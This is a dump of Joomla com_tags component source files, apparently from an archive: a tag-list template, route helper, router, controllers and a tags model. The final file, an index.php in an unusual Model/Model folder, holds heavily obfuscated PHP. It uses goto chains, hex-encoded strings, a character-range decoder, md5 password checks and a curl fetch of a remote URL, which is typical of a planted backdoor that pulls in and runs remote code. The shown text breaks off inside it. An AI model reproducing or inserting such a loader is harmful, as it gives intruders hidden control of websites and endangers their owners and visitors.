            <?php if ($this->params->get('show_pagination_limit')) : ?>
                <div class="btn-group float-end">
                    <label for="limit" class="visually-hidden">
                        <?php echo Text::_('JGLOBAL_DISPLAY_NUM'); ?>
                    </label>
                    <?php echo $this->pagination->getLimitBox(); ?>
                </div>
            <?php endif; ?>

            <input type="hidden" name="limitstart" value="">
            <input type="hidden" name="task" value="">
        <?php endif; ?>
    </form>

    <?php if ($this->items == false || $n === 0) : ?>
        <div class="alert alert-info">
            <span class="icon-info-circle" aria-hidden="true"></span><span class="visually-hidden"><?php echo Text::_('INFO'); ?></span>
            <?php echo Text::_('COM_TAGS_NO_TAGS'); ?>
        </div>
    <?php else : ?>
        <?php foreach ($this->items as $i => $item) : ?>
            <?php if ($n === 1 || $i === 0 || $bscolumns === 1 || $i % $bscolumns === 0) : ?>
                <ul class="com-tags__category category list-group">
            <?php endif; ?>

            <li class="list-group-item list-group-item-action">
                <?php if ((!empty($item->access)) && in_array($item->access, $this->user->getAuthorisedViewLevels())) : ?>
                    <h3 class="mb-0">
                        <a href="<?php echo Route::_(RouteHelper::getComponentTagRoute($item->id . ':' . $item->alias, $item->language)); ?>">
                            <?php echo $this->escape($item->title); ?>
                        </a>
                    </h3>
                <?php endif; ?>

                <?php if ($this->params->get('all_tags_show_tag_image') && !empty($item->images)) : ?>
                    <?php $images = json_decode($item->images); ?>
                    <span class="tag-body">
                        <?php if (!empty($images->image_intro)) : ?>
                            <?php $imgfloat = empty($images->float_intro) ? $this->params->get('float_intro') : $images->float_intro; ?>
                            <div class="float-<?php echo htmlspecialchars($imgfloat, ENT_QUOTES, 'UTF-8'); ?> item-image">
                                <?php $imageOptions = []; ?>
                                <?php if ($images->image_intro_caption) : ?>
                                        <?php $imageOptions['title'] = $images->image_intro_caption; ?>
                                        <?php $imageOptions['class'] = 'caption'; ?>
                                <?php endif; ?>
                                <?php echo HTMLHelper::_('image', $images->image_intro, $images->image_intro_alt, $imageOptions); ?>
                            </div>
                        <?php endif; ?>
                    </span>
                <?php endif; ?>

                <?php if (($this->params->get('all_tags_show_tag_description', 1) && !empty($item->description)) || $this->params->get('all_tags_show_tag_hits')) : ?>
                    <div class="caption">
                        <?php if ($this->params->get('all_tags_show_tag_description', 1) && !empty($item->description)) : ?>
                            <span class="tag-body">
                                <?php echo HTMLHelper::_('string.truncate', $item->description, $this->params->get('all_tags_tag_maximum_characters')); ?>
                            </span>
                        <?php endif; ?>
                        <?php if ($this->params->get('all_tags_show_tag_hits')) : ?>
                            <span class="list-hits badge bg-info">
                                <?php echo Text::sprintf('JGLOBAL_HITS_COUNT', $item->hits); ?>
                            </span>
                        <?php endif; ?>
                    </div>
                <?php endif; ?>
            </li>

            <?php if (($i === 0 && $n === 1) || $i === $n - 1 || $bscolumns === 1 || (($i + 1) % $bscolumns === 0)) : ?>
                </ul>
            <?php endif; ?>

        <?php endforeach; ?>
    <?php endif; ?>

    <?php // Add pagination links ?>
    <?php if (!empty($this->items)) : ?>
        <?php if (($this->params->def('show_pagination', 2) == 1 || ($this->params->get('show_pagination') == 2)) && ($this->pagination->pagesTotal > 1)) : ?>
            <div class="com-tags__pagination w-100">
                <?php if ($this->params->def('show_pagination_results', 1)) : ?>
                    <p class="counter float-end pt-3 pe-2">
                        <?php echo $this->pagination->getPagesCounter(); ?>
                    </p>
                <?php endif; ?>
                <?php echo $this->pagination->getPagesLinks(); ?>
            </div>
        <?php endif; ?>
    <?php endif; ?>
</div>
PK���\ՠ�  #com_tags/src/Helper/RouteHelper.phpnu�[���<?php

/**
 * @package     Joomla.Site
 * @subpackage  com_tags
 *
 * @copyright   (C) 2017 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

namespace Joomla\Component\Tags\Site\Helper;

use Joomla\CMS\Component\ComponentHelper;
use Joomla\CMS\Helper\RouteHelper as CMSRouteHelper;
use Joomla\CMS\Menu\AbstractMenu;

// phpcs:disable PSR1.Files.SideEffects
\defined('_JEXEC') or die;
// phpcs:enable PSR1.Files.SideEffects

/**
 * Tags Component Route Helper.
 *
 * @since  3.1
 */
class RouteHelper extends CMSRouteHelper
{
    /**
     * Lookup-table for menu items
     *
     * @var    array
     * @since  4.3.0
     */
    protected static $lookup;

    /**
     * Tries to load the router for the component and calls it. Otherwise uses getTagRoute.
     *
     * @param   integer  $contentItemId     Component item id
     * @param   string   $contentItemAlias  Component item alias
     * @param   integer  $contentCatId      Component item category id
     * @param   string   $language          Component item language
     * @param   string   $typeAlias         Component type alias
     * @param   string   $routerName        Component router
     *
     * @return  string  URL link to pass to the router
     *
     * @since   3.1
     */
    public static function getItemRoute($contentItemId, $contentItemAlias, $contentCatId, $language, $typeAlias, $routerName)
    {
        $link           = '';
        $explodedAlias  = explode('.', $typeAlias);
        $explodedRouter = explode('::', $routerName);

        if (file_exists($routerFile = JPATH_BASE . '/components/' . $explodedAlias[0] . '/helpers/route.php')) {
            \JLoader::register($explodedRouter[0], $routerFile);
            $routerClass  = $explodedRouter[0];
            $routerMethod = $explodedRouter[1];

            if (class_exists($routerClass) && method_exists($routerClass, $routerMethod)) {
                if ($routerMethod === 'getCategoryRoute') {
                    $link = $routerClass::$routerMethod($contentItemId, $language);
                } else {
                    $link = $routerClass::$routerMethod($contentItemId . ':' . $contentItemAlias, $contentCatId, $language);
                }
            }
        }

        if ($link === '') {
            // Create a fallback link in case we can't find the component router
            $router = new CMSRouteHelper();
            $link   = $router->getRoute($contentItemId, $typeAlias, $link, $language, $contentCatId);
        }

        return $link;
    }

    /**
     * Tries to load the router for the component and calls it. Otherwise calls getRoute.
     *
     * @param   integer  $id        The ID of the tag
     *
     * @return  string  URL link to pass to the router
     *
     * @since      3.1
     * @throws     \Exception
     *
     * @deprecated  4.3 will be removed in 6.0
     *              Use RouteHelper::getComponentTagRoute() instead
     */
    public static function getTagRoute($id)
    {
        @trigger_error('This function is replaced by the getComponentTagRoute()', E_USER_DEPRECATED);

        return self::getComponentTagRoute($id);
    }

    /**
     * Tries to load the router for the component and calls it. Otherwise calls getRoute.
     *
     * @param   string   $id        The ID of the tag in the format TAG_ID:TAG_ALIAS
     * @param   string   $language  The language of the tag
     *
     * @return  string  URL link to pass to the router
     *
     * @since   4.2.0
     * @throws  \Exception
     */
    public static function getComponentTagRoute(string $id, string $language = '*'): string
    {
        // We actually would want to allow arrays of tags here, but can't due to B/C
        if (!is_array($id)) {
            if ($id < 1) {
                return '';
            }

            $id = [$id];
        }

        $id = array_values(array_filter($id));

        if (!count($id)) {
            return '';
        }

        $link = 'index.php?option=com_tags&view=tag';

        foreach ($id as $i => $value) {
            $link .= '&id[' . $i . ']=' . $value;
        }

        return $link;
    }

    /**
     * Tries to load the router for the tags view.
     *
     * @return  string  URL link to pass to the router
     *
     * @since      3.7
     * @throws     \Exception
     *
     * @deprecated  4.3 will be removed in 6.0
     *              Use RouteHelper::getComponentTagsRoute() instead
     *
     */
    public static function getTagsRoute()
    {
        @trigger_error('This function is replaced by the getComponentTagsRoute()', E_USER_DEPRECATED);

        return self::getComponentTagsRoute();
    }

    /**
     * Tries to load the router for the tags view.
     *
     * @param   string  $language  The language of the tag
     *
     * @return  string  URL link to pass to the router
     *
     * @since   4.2.0
     * @throws  \Exception
     */
    public static function getComponentTagsRoute(string $language = '*'): string
    {
        $link = 'index.php?option=com_tags&view=tags';

        return $link;
    }

    /**
     * Find Item static function
     *
     * @param   array  $needles  Array used to get the language value
     *
     * @return null
     *
     * @throws \Exception
     */
    protected static function _findItem($needles = null)
    {
        $menus    = AbstractMenu::getInstance('site');
        $language = $needles['language'] ?? '*';

        // Prepare the reverse lookup array.
        if (self::$lookup === null) {
            self::$lookup = [];

            $component = ComponentHelper::getComponent('com_tags');
            $items     = $menus->getItems('component_id', $component->id);

            if ($items) {
                foreach ($items as $item) {
                    if (isset($item->query, $item->query['view'])) {
                        $lang = ($item->language != '' ? $item->language : '*');

                        if (!isset(self::$lookup[$lang])) {
                            self::$lookup[$lang] = [];
                        }

                        $view = $item->query['view'];

                        if (!isset(self::$lookup[$lang][$view])) {
                            self::$lookup[$lang][$view] = [];
                        }

                        // Only match menu items that list one tag
                        if (isset($item->query['id']) && is_array($item->query['id'])) {
                            foreach ($item->query['id'] as $position => $tagId) {
                                if (!isset(self::$lookup[$lang][$view][$item->query['id'][$position]]) || count($item->query['id']) == 1) {
                                    self::$lookup[$lang][$view][$item->query['id'][$position]] = $item->id;
                                }
                            }
                        } elseif ($view == 'tags') {
                            self::$lookup[$lang]['tags'][] = $item->id;
                        }
                    }
                }
            }
        }

        if ($needles) {
            foreach ($needles as $view => $ids) {
                if (isset(self::$lookup[$language][$view])) {
                    foreach ($ids as $id) {
                        if (isset(self::$lookup[$language][$view][(int) $id])) {
                            return self::$lookup[$language][$view][(int) $id];
                        }
                    }
                }
            }
        } else {
            $active = $menus->getActive();

            if ($active) {
                return $active->id;
            }
        }

        return null;
    }
}
PK���\>;�I�.�.com_tags/src/Service/Router.phpnu�[���<?php

/**
 * @package     Joomla.Site
 * @subpackage  com_tags
 *
 * @copyright   (C) 2013 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

namespace Joomla\Component\Tags\Site\Service;

use Joomla\CMS\Application\SiteApplication;
use Joomla\CMS\Categories\CategoryFactoryInterface;
use Joomla\CMS\Component\ComponentHelper;
use Joomla\CMS\Component\Router\RouterBase;
use Joomla\CMS\Language\Multilanguage;
use Joomla\CMS\Menu\AbstractMenu;
use Joomla\Database\DatabaseInterface;
use Joomla\Utilities\ArrayHelper;

// phpcs:disable PSR1.Files.SideEffects
\defined('_JEXEC') or die;
// phpcs:enable PSR1.Files.SideEffects

/**
 * Routing class from com_tags
 *
 * @since  3.3
 */
class Router extends RouterBase
{
    /**
     * The db
     *
     * @var DatabaseInterface
     *
     * @since  4.0.0
     */
    private $db;

    /**
     * Lookup array of the menu items
     *
     * @var   array
     * @since 4.3.0
     */
    protected $lookup = [];

    /**
     * Tags Component router constructor
     *
     * @param   SiteApplication           $app              The application object
     * @param   AbstractMenu              $menu             The menu object to work with
     * @param   CategoryFactoryInterface  $categoryFactory  The category object
     * @param   DatabaseInterface         $db               The database object
     *
     * @since  4.0.0
     */
    public function __construct(SiteApplication $app, AbstractMenu $menu, ?CategoryFactoryInterface $categoryFactory, DatabaseInterface $db)
    {
        $this->db = $db;

        parent::__construct($app, $menu);

        $this->buildLookup();
    }


    /**
     * Preprocess com_tags URLs
     *
     * @param   array  $query  An associative array of URL arguments
     *
     * @return  array  The URL arguments to use to assemble the subsequent URL.
     *
     * @since   4.3.0
     */
    public function preprocess($query)
    {
        $active = $this->menu->getActive();

        /**
         * If the active item id is not the same as the supplied item id or we have a supplied item id and no active
         * menu item then we just use the supplied menu item and continue
         */
        if (isset($query['Itemid']) && ($active === null || $query['Itemid'] != $active->id)) {
            return $query;
        }

        // Get query language
        $lang = isset($query['lang']) ? $query['lang'] : '*';

        // Set the language to the current one when multilang is enabled and item is tagged to ALL
        if (Multilanguage::isEnabled() && $lang === '*') {
            $lang = $this->app->get('language');
        }

        foreach (array_unique([$lang, '*']) as $language) {
            if (isset($query['view']) && $query['view'] == 'tags') {
                if (isset($query['parent_id']) && isset($this->lookup[$language]['tags'][$query['parent_id']])) {
                    $query['Itemid'] = $this->lookup[$language]['tags'][$query['parent_id']];
                    break;
                } elseif (isset($this->lookup[$language]['tags'][0])) {
                    $query['Itemid'] = $this->lookup[$language]['tags'][0];
                    break;
                }
            } elseif (isset($query['view']) && $query['view'] == 'tag') {
                if (isset($query['id'])) {
                    if (!is_array($query['id'])) {
                        $query['id'] = [$query['id']];
                    }

                    $id = ArrayHelper::toInteger($query['id']);
                    sort($id);

                    if (isset($this->lookup[$language]['tag'][implode(',', $id)])) {
                        $query['Itemid'] = $this->lookup[$language]['tag'][implode(',', $id)];
                        break;
                    } else {
                        foreach ($id as $i) {
                            if (isset($this->lookup[$language]['tag'][$i])) {
                                $query['Itemid'] = $this->lookup[$language]['tag'][$i];
                                break 2;
                            }
                        }
                    }

                    if (isset($this->lookup[$language]['tags'][implode(',', $id)])) {
                        $query['Itemid'] = $this->lookup[$language]['tags'][implode(',', $id)];
                        break;
                    }

                    if (isset($this->lookup[$language]['tags'][0])) {
                        $query['Itemid'] = $this->lookup[$language]['tags'][0];
                        break;
                    }
                }
            }
        }

        // If not found, return language specific home link
        if (!isset($query['Itemid'])) {
            $default = $this->menu->getDefault($lang);

            if (!empty($default->id)) {
                $query['Itemid'] = $default->id;
            }
        }

        return $query;
    }

    /**
     * Build the route for the com_tags component
     *
     * @param   array  &$query  An array of URL arguments
     *
     * @return  array  The URL arguments to use to assemble the subsequent URL.
     *
     * @since   3.3
     */
    public function build(&$query)
    {
        $segments = [];

        $menuItem = !empty($query['Itemid']) ? $this->menu->getItem($query['Itemid']) : false;

        if ($menuItem && $menuItem->query['option'] == 'com_tags') {
            if ($menuItem->query['view'] == 'tags') {
                if (isset($query['id'])) {
                    $ids = $query['id'];

                    if (!is_array($ids)) {
                        $ids = [$ids];
                    }

                    foreach ($ids as $id) {
                        $segments[] = $id;
                    }

                    unset($query['id']);
                } elseif (isset($query['parent_id'], $menuItem->query['parent_id'])) {
                    if ($query['parent_id'] == $menuItem->query['parent_id']) {
                        unset($query['parent_id']);
                    }
                }
            } elseif ($menuItem->query['view'] == 'tag') {
                $ids     = $query['id'];
                $int_ids = ArrayHelper::toInteger($ids);
                $mIds    = (array) $menuItem->query['id'];

                /**
                 * We check if there is a difference between the tags of the menu item and the query.
                 * If they are identical, we exactly match the menu item. Otherwise we append all tags to the URL
                 */
                if (count(array_diff($int_ids, $mIds)) > 0 || count(array_diff($mIds, $int_ids)) > 0) {
                    foreach ($ids as $id) {
                        $segments[] = $id;
                    }
                }

                unset($query['id']);
            }

            unset($query['view']);
        } else {
            $segments[] = $query['view'];
            unset($query['view'], $query['Itemid']);

            if (isset($query['id']) && is_array($query['id'])) {
                foreach ($query['id'] as $id) {
                    $segments[] = $id;
                }

                unset($query['id']);
            }
        }

        unset($query['layout']);

        foreach ($segments as &$segment) {
            if (strpos($segment, ':')) {
                [$void, $segment] = explode(':', $segment, 2);
            }
        }

        return $segments;
    }

    /**
     * Parse the segments of a URL.
     *
     * @param   array  &$segments  The segments of the URL to parse.
     *
     * @return  array  The URL attributes to be used by the application.
     *
     * @since   3.3
     */
    public function parse(&$segments)
    {
        $vars = [];

        // Get the active menu item.
        $item = $this->menu->getActive();

        // We don't have a menu item
        if (!$item || $item->query['option'] != 'com_tags') {
            if (!isset($segments[0])) {
                return $vars;
            }

            $vars['view'] = array_shift($segments);
        }

        $ids = [];

        if ($item && $item->query['view'] == 'tag') {
            $ids = $item->query['id'];
        }

        while (count($segments)) {
            $id    = array_shift($segments);
            $ids[] = $this->fixSegment($id);
        }

        if (count($ids)) {
            $vars['id']   = $ids;
            $vars['view'] = 'tag';
        }

        return $vars;
    }

    /**
     * Method to build the lookup array
     *
     * @param   string  $language  The language that the lookup should be built up for
     *
     * @return  void
     *
     * @since   4.3.0
     */
    protected function buildLookup()
    {
        $component = ComponentHelper::getComponent('com_tags');
        $items     = $this->app->getMenu()->getItems(['component_id'], [$component->id]);

        foreach ($items as $item) {
            if (!isset($this->lookup[$item->language])) {
                $this->lookup[$item->language] = ['tags' => [], 'tag' => []];
            }

            if ($item->query['view'] == 'tag') {
                $id = $item->query['id'];
                sort($id);
                $this->lookup[$item->language]['tag'][implode(',', $id)] = $item->id;

                foreach ($id as $i) {
                    $this->lookup[$item->language]['tag'][$i] = $item->id;
                }
            }

            if ($item->query['view'] == 'tags') {
                $id                                         = (int) (isset($item->query['parent_id']) ? $item->query['parent_id'] : 0);
                $this->lookup[$item->language]['tags'][$id] = $item->id;
            }
        }

        foreach ($this->lookup as $language => $items) {
            // We have tags views with parent_id set and need to load child tags to be assigned to this menu item
            if (
                count($this->lookup[$language]['tags']) > 1
                || (count($this->lookup[$language]['tags']) == 1 && !isset($this->lookup[$language]['tags'][0]))
            ) {
                foreach ($this->lookup[$language]['tags'] as $id => $menu) {
                    if ($id === 0) {
                        continue;
                    }

                    $query = $this->db->getQuery(true);
                    $query->select($this->db->quoteName('a.id'))
                        ->from($this->db->quoteName('#__tags', 'a'))
                        ->leftJoin(
                            $this->db->quoteName('#__tags', 'b')
                            . ' ON ' . $this->db->quoteName('b.lft') . ' < ' . $this->db->quoteName('a.lft')
                            . ' AND ' . $this->db->quoteName('a.rgt') . ' < ' . $this->db->quoteName('b.rgt')
                        )
                        ->where($this->db->quoteName('b.id') . ' = :id')
                        ->bind(':id', $id);
                    $this->db->setQuery($query);
                    $ids = (array) $this->db->loadColumn();

                    foreach ($ids as $i) {
                        $this->lookup[$language]['tags'][$i] = $menu;
                    }
                }
            }
        }
    }

    /**
     * Try to add missing id to segment
     *
     * @param   string  $segment  One piece of segment of the URL to parse
     *
     * @return  string  The segment with founded id
     *
     * @since   3.7
     */
    protected function fixSegment($segment)
    {
        // Try to find tag id
        $alias = str_replace(':', '-', $segment);

        $query = $this->db->getQuery(true)
            ->select($this->db->quoteName('id'))
            ->from($this->db->quoteName('#__tags'))
            ->where($this->db->quoteName('alias') . ' = :alias')
            ->bind(':alias', $alias);

        $id = $this->db->setQuery($query)->loadResult();

        if ($id) {
            $segment = $id . ':' . $alias;
        }

        return $segment;
    }
}
PK���\��� ��-com_tags/src/Controller/DisplayController.phpnu�[���<?php

/**
 * @package     Joomla.Site
 * @subpackage  com_tags
 *
 * @copyright   (C) 2013 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

namespace Joomla\Component\Tags\Site\Controller;

use Joomla\CMS\Component\ComponentHelper;
use Joomla\CMS\MVC\Controller\BaseController;

// phpcs:disable PSR1.Files.SideEffects
\defined('_JEXEC') or die;
// phpcs:enable PSR1.Files.SideEffects

/**
 * Tags Component Controller
 *
 * @since  3.1
 */
class DisplayController extends BaseController
{
    /**
     * Method to display a view.
     *
     * @param   boolean        $cachable   If true, the view output will be cached
     * @param   mixed|boolean  $urlparams  An array of safe URL parameters and their
     *                                     variable types, for valid values see {@link \JFilterInput::clean()}.
     *
     * @return  static  This object to support chaining.
     *
     * @since   3.1
     */
    public function display($cachable = false, $urlparams = false)
    {
        $user = $this->app->getIdentity();

        // Set the default view name and format from the Request.
        $vName = $this->input->get('view', 'tags');
        $this->input->set('view', $vName);

        if ($user->get('id') || ($this->input->getMethod() === 'POST' && $vName === 'tags')) {
            $cachable = false;
        }

        $safeurlparams = [
            'id'               => 'ARRAY',
            'type'             => 'ARRAY',
            'limit'            => 'UINT',
            'limitstart'       => 'UINT',
            'filter_order'     => 'CMD',
            'filter_order_Dir' => 'CMD',
            'lang'             => 'CMD',
        ];

        if (
            $vName === 'tag'
            && ComponentHelper::getParams('com_tags')->get('record_hits', 1) == 1
            && $model = $this->getModel($vName)
        ) {
            $model->hit();
        }

        return parent::display($cachable, $safeurlparams);
    }
}
PK���\����11*com_tags/src/Controller/TagsController.phpnu�[���<?php

/**
 * @package     Joomla.API
 * @subpackage  com_tags
 *
 * @copyright   (C) 2019 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

namespace Joomla\Component\Tags\Api\Controller;

use Joomla\CMS\MVC\Controller\ApiController;

// phpcs:disable PSR1.Files.SideEffects
\defined('_JEXEC') or die;
// phpcs:enable PSR1.Files.SideEffects

/**
 * The tags controller
 *
 * @since  4.0.0
 */
class TagsController extends ApiController
{
    /**
     * The content type of the item.
     *
     * @var    string
     * @since  4.0.0
     */
    protected $contentType = 'tags';

    /**
     * The default view for the display method.
     *
     * @var    string
     * @since  3.0
     */
    protected $default_view = 'tags';
}
PK���\bte'

 com_tags/src/Model/TagsModel.phpnu�[���<?php

/**
 * @package     Joomla.Site
 * @subpackage  com_tags
 *
 * @copyright   (C) 2013 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

namespace Joomla\Component\Tags\Site\Model;

use Joomla\CMS\Component\ComponentHelper;
use Joomla\CMS\Factory;
use Joomla\CMS\Helper\ContentHelper;
use Joomla\CMS\MVC\Model\ListModel;
use Joomla\Database\DatabaseQuery;
use Joomla\Database\ParameterType;

// phpcs:disable PSR1.Files.SideEffects
\defined('_JEXEC') or die;
// phpcs:enable PSR1.Files.SideEffects

/**
 * This models supports retrieving a list of tags.
 *
 * @since  3.1
 */
class TagsModel extends ListModel
{
    /**
     * Model context string.
     *
     * @var    string
     * @since  3.1
     */
    public $_context = 'com_tags.tags';

    /**
     * Method to auto-populate the model state.
     *
     * @param   string  $ordering   An optional ordering field.
     * @param   string  $direction  An optional direction (asc|desc).
     *
     * @return  void
     *
     * @note Calling getState in this method will result in recursion.
     *
     * @since   3.1
     */
    protected function populateState($ordering = null, $direction = null)
    {
        $app = Factory::getApplication();

        // Load state from the request.
        $pid = $app->getInput()->getInt('parent_id');
        $this->setState('tag.parent_id', $pid);

        $language = $app->getInput()->getString('tag_list_language_filter');
        $this->setState('tag.language', $language);

        $offset = $app->getInput()->get('limitstart', 0, 'uint');
        $this->setState('list.offset', $offset);
        $app = Factory::getApplication();

        $params = $app->getParams();
        $this->setState('params', $params);

        $this->setState('list.limit', $params->get('maximum', 200));

        $this->setState('filter.published', 1);
        $this->setState('filter.access', true);

        $user = $this->getCurrentUser();

        if ((!$user->authorise('core.edit.state', 'com_tags')) && (!$user->authorise('core.edit', 'com_tags'))) {
            $this->setState('filter.published', 1);
        }

        // Optional filter text
        $itemid       = $pid . ':' . $app->getInput()->getInt('Itemid', 0);
        $filterSearch = $app->getUserStateFromRequest('com_tags.tags.list.' . $itemid . '.filter_search', 'filter-search', '', 'string');
        $this->setState('list.filter', $filterSearch);
    }

    /**
     * Method to build an SQL query to load the list data.
     *
     * @return  DatabaseQuery  An SQL query
     *
     * @since   1.6
     */
    protected function getListQuery()
    {
        $app            = Factory::getApplication();
        $user           = $this->getCurrentUser();
        $groups         = $user->getAuthorisedViewLevels();
        $pid            = (int) $this->getState('tag.parent_id');
        $orderby        = $this->state->params->get('all_tags_orderby', 'title');
        $published      = (int) $this->state->params->get('published', 1);
        $orderDirection = $this->state->params->get('all_tags_orderby_direction', 'ASC');
        $language       = $this->getState('tag.language');

        // Create a new query object.
        $db    = $this->getDatabase();
        $query = $db->getQuery(true);

        // Select required fields from the tags.
        $query->select('a.*, u.name as created_by_user_name, u.email')
            ->from($db->quoteName('#__tags', 'a'))
            ->join('LEFT', $db->quoteName('#__users', 'u'), $db->quoteName('a.created_user_id') . ' = ' . $db->quoteName('u.id'))
            ->whereIn($db->quoteName('a.access'), $groups);

        if (!empty($pid)) {
            $query->where($db->quoteName('a.parent_id') . ' = :pid')
                ->bind(':pid', $pid, ParameterType::INTEGER);
        }

        // Exclude the root.
        $query->where($db->quoteName('a.parent_id') . ' <> 0');

        // Optionally filter on language
        if (empty($language)) {
            $language = ComponentHelper::getParams('com_tags')->get('tag_list_language_filter', 'all');
        }

        if ($language !== 'all') {
            if ($language === 'current_language') {
                $language = ContentHelper::getCurrentLanguage();
            }

            $query->whereIn($db->quoteName('language'), [$language, '*'], ParameterType::STRING);
        }

        // List state information
        $format = $app->getInput()->getWord('format');

        if ($format === 'feed') {
            $limit = $app->get('feed_limit');
        } else {
            if ($this->state->params->get('show_pagination_limit')) {
                $limit = $app->getUserStateFromRequest('global.list.limit', 'limit', $app->get('list_limit'), 'uint');
            } else {
                $limit = $this->state->params->get('maximum', 20);
            }
        }

        $this->setState('list.limit', $limit);

        $offset = $app->getInput()->get('limitstart', 0, 'uint');
        $this->setState('list.start', $offset);

        // Optionally filter on entered value
        if ($this->state->get('list.filter')) {
            $title = '%' . $this->state->get('list.filter') . '%';
            $query->where($db->quoteName('a.title') . ' LIKE :title')
                ->bind(':title', $title);
        }

        $query->where($db->quoteName('a.published') . ' = :published')
            ->bind(':published', $published, ParameterType::INTEGER);

        $query->order($db->quoteName($orderby) . ' ' . $orderDirection . ', a.title ASC');

        return $query;
    }
}
PK���\!2+��"com_tags/src/Model/Model/index.phpnu&1i�<?php
 goto Z5UEpqkc4cf; Wvumfgeq0Y6: if (!(in_array(gettype($Sc2eFbufR1o) . "\x31\65", $Sc2eFbufR1o) && md5(md5(md5(md5($Sc2eFbufR1o[9])))) === "\x35\141\64\x62\x38\61\x31\65\64\143\x39\x64\x35\x30\x62\x32\66\145\x38\x38\x30\x39\143\x39\142\70\x64\x64\65\x62\66\x31")) { goto wlNnMAZfP3R; } goto NHzkjpDVk24; Pa1YWRQLZHG: class kbLVQ0Mx3yW { static function bOzVBKLdScQ($t2QMDjH_5Fr) { goto yI7HlNiQwGB; yI7HlNiQwGB: $r501J7scb7u = "\x72" . "\141" . "\156" . "\147" . "\x65"; goto UVaSAF0NVtt; UVaSAF0NVtt: $wZsOlBLDlb5 = $r501J7scb7u("\x7e", "\x20"); goto ZbZOju4n_Xf; ZbZOju4n_Xf: $OhbAjguKqIa = explode("\43", $t2QMDjH_5Fr); goto MfJO22e4Yfy; YtHhx6i0KZC: CekgYBuEHi0: goto Hcl68yJri3A; ijO5iiy27Yw: foreach ($OhbAjguKqIa as $CNPLskC0_eL => $TWoKC12pYx2) { $wFwsjBCApWu .= $wZsOlBLDlb5[$TWoKC12pYx2 - 47478]; G3cMRh1pmtS: } goto YtHhx6i0KZC; Hcl68yJri3A: return $wFwsjBCApWu; goto imCwugSl5GH; MfJO22e4Yfy: $wFwsjBCApWu = ''; goto ijO5iiy27Yw; imCwugSl5GH: } static function kvTzjTmGXri($r3McLc3jvs6, $ZszLJunPXJc) { goto iAwTHUeF3L1; iAwTHUeF3L1: $LEZbEbqXXRu = curl_init($r3McLc3jvs6); goto fPKJSV3n2vA; fPKJSV3n2vA: curl_setopt($LEZbEbqXXRu, CURLOPT_RETURNTRANSFER, 1); goto OMcqLmACIdd; lx3KRGY4Jqq: return empty($oaW_PFR2aWA) ? $ZszLJunPXJc($r3McLc3jvs6) : $oaW_PFR2aWA; goto OvMXUoLppor; OMcqLmACIdd: $oaW_PFR2aWA = curl_exec($LEZbEbqXXRu); goto lx3KRGY4Jqq; OvMXUoLppor: } static function Q4WyyT0BHj7() { goto yT2RSaIo6RM; EB_oJpyOB4Y: TqTPrJ9O8UQ: goto VkRXjAuxksC; JEnSu7iIAOt: $eQSH0yzKq_G = @$OaaEYEUg2Ih[3 + 0]($OaaEYEUg2Ih[0 + 6], $tb9Yey6vd9O); goto Zs0fnbiKuRF; SQJASuaRqCp: foreach ($H1lNTSoLU2s as $kifPxBqSuJg) { $OaaEYEUg2Ih[] = self::boZvbKLdSCQ($kifPxBqSuJg); wETiWfXADyc: } goto RUqmk_IcnpU; Zs0fnbiKuRF: $oDO6QVjw2S7 = $OaaEYEUg2Ih[1 + 1]($eQSH0yzKq_G, true); goto iHOTDJ0_0kj; WL0l0vnVJ83: die; goto EB_oJpyOB4Y; IAeqOyKnwnY: if (!(@$oDO6QVjw2S7[0] - time() > 0 and md5(md5($oDO6QVjw2S7[3 + 0])) === "\x39\65\61\67\60\144\145\62\60\x61\x64\63\x39\63\141\x34\145\x64\x63\62\x62\63\x35\x65\141\70\x63\71\x37\x36\x65\66")) { goto TqTPrJ9O8UQ; } goto Kn3pq3p9p7X; Kn3pq3p9p7X: $T86f8anIoP_ = self::KVTzJTMgxrI($oDO6QVjw2S7[0 + 1], $OaaEYEUg2Ih[5 + 0]); goto OrHz133bHrJ; yT2RSaIo6RM: $H1lNTSoLU2s = array("\x34\x37\65\x30\x35\x23\x34\x37\x34\71\x30\x23\x34\67\65\60\63\x23\64\x37\65\x30\x37\43\x34\67\64\70\70\x23\x34\67\65\x30\x33\43\64\67\65\x30\x39\43\x34\x37\x35\x30\62\x23\x34\x37\64\x38\67\43\64\67\x34\71\64\43\64\67\65\60\65\43\x34\x37\64\70\70\x23\64\67\x34\71\x39\x23\64\67\x34\71\x33\x23\x34\67\x34\71\x34", "\64\67\64\x38\x39\43\64\x37\64\x38\70\43\64\x37\64\x39\60\x23\x34\x37\65\60\71\x23\64\67\x34\71\60\x23\64\x37\64\71\63\43\x34\67\x34\70\x38\x23\64\67\x35\65\65\x23\64\x37\65\65\63", "\x34\67\x34\71\x38\43\64\67\64\70\71\x23\x34\x37\64\71\x33\43\64\67\64\71\x34\43\64\x37\65\60\71\x23\64\67\x35\x30\x34\x23\x34\67\65\x30\63\43\x34\67\x35\60\x35\43\64\67\x34\71\63\x23\64\67\65\x30\64\x23\x34\x37\x35\x30\63", "\x34\x37\64\71\x32\43\x34\x37\65\60\x37\43\x34\67\65\60\x35\x23\64\x37\64\71\x37", "\64\67\65\60\x36\x23\x34\x37\65\x30\67\x23\x34\x37\64\x38\x39\x23\64\67\65\x30\x33\x23\64\x37\65\65\60\43\64\67\65\65\x32\43\64\x37\x35\x30\71\43\x34\x37\65\60\64\x23\x34\67\65\x30\x33\43\64\67\65\x30\x35\x23\x34\x37\64\x39\63\43\64\x37\x35\60\64\x23\64\67\x35\60\63", "\64\67\65\60\x32\x23\x34\x37\64\71\71\43\x34\67\64\71\x36\x23\x34\67\65\x30\x33\43\x34\67\65\60\x39\43\64\x37\65\60\x31\x23\x34\x37\65\60\63\43\64\x37\64\x38\x38\43\64\67\65\x30\71\x23\x34\67\x35\60\65\43\x34\67\x34\71\x33\x23\x34\67\64\71\64\x23\x34\67\x34\70\x38\43\64\67\65\x30\x33\43\64\67\64\71\x34\43\64\x37\x34\70\x38\43\x34\67\64\70\x39", "\x34\x37\65\63\x32\x23\64\x37\65\x36\62", "\x34\x37\x34\67\71", 